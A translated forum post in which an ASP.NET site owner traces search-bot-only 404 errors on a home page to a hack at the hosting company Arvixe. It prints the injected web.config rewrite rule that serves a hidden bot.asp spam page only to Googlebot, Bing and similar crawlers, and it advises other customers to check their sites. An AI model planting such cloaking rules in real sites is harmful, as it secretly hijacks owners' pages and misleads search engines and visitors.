默认页面 returns 404 仅当使用搜索机器人用户代理时

Default page returns 404 only when using search bot user agent

我使用 ASP.NET 网页(不是 MVC,不是 Web 表单)创建了一个网站。

如果我在浏览器中通过 mydomain.com 访问默认页面,它会显示默认页面 (index.cshtml)。但是,搜索引擎看到的是 404 页面,如果我将我的用户代理更改为 Googlebot 或 Bingbot,我也会收到 404 错误。

这只会影响默认页面 - 如果我使用 mydomain。com/index.cshtml 我不会获得 404 页面。

我的代码中没有用户代理检测。

我看过 headers 并且没有重定向,只有在使用机器人用户代理时才会立即响应 404。

是否有某些 built-in 用户代理检测会影响 ASP.NET 网页中的默认页面?或者我的托管公司可以做点什么 (Arvixe)?

如果有帮助,我可以添加代码(但不确定我会添加什么代码),或者 link 到网站。

我找到了问题的原因。

显然,Arvixe 网站已被黑客入侵。黑客在 web.config 中插入了一些代码,这些代码显示了一个不同的 URL 来代替仅供机器人使用的主页...

<rewrite>
  <rules>
    <rule name="1" patternSyntax="ECMAScript" stopProcessing="true">
      <match url="^$" ignoreCase="true" negate="false" />
      <conditions logicalGrouping="MatchAny" trackAllCaptures="false">
        <add input="{HTTP_USER_AGENT}" pattern="Googlebot|Yahoo|MSNBot|bingbot" />
      </conditions>
      <action type="Rewrite" url="bot.asp" />
    </rule>
  </rules>
</rewrite> 

我确实在 Bing 搜索我的网站时看到 title/description 运动衫,这就是我调查这个的原因。

从搜索结果来看,这似乎影响了许多 Arvixe 客户,大多数人可能永远不会知道,因为他们不太可能看到带有搜索机器人用户代理的网站。

看起来 Arvixe 已经意识到黑客攻击并已经通过删除垃圾邮件文件(bot.asp 或 bot.php)来阻止这种情况,但他们还没有修复 web.config.如果您已经与 Arvixe 共享主机,您现在应该检查一下。

您还应该检查您的 Google 搜索 console/analytics 帐户是否添加了 owners/users 因为有些人也报告了这一点,尽管您会收到一封电子邮件警告。

我更改了我所有的 Arvixe 密码,但我怀疑他们有个人帐户密码,他们可能在服务器级别被黑了。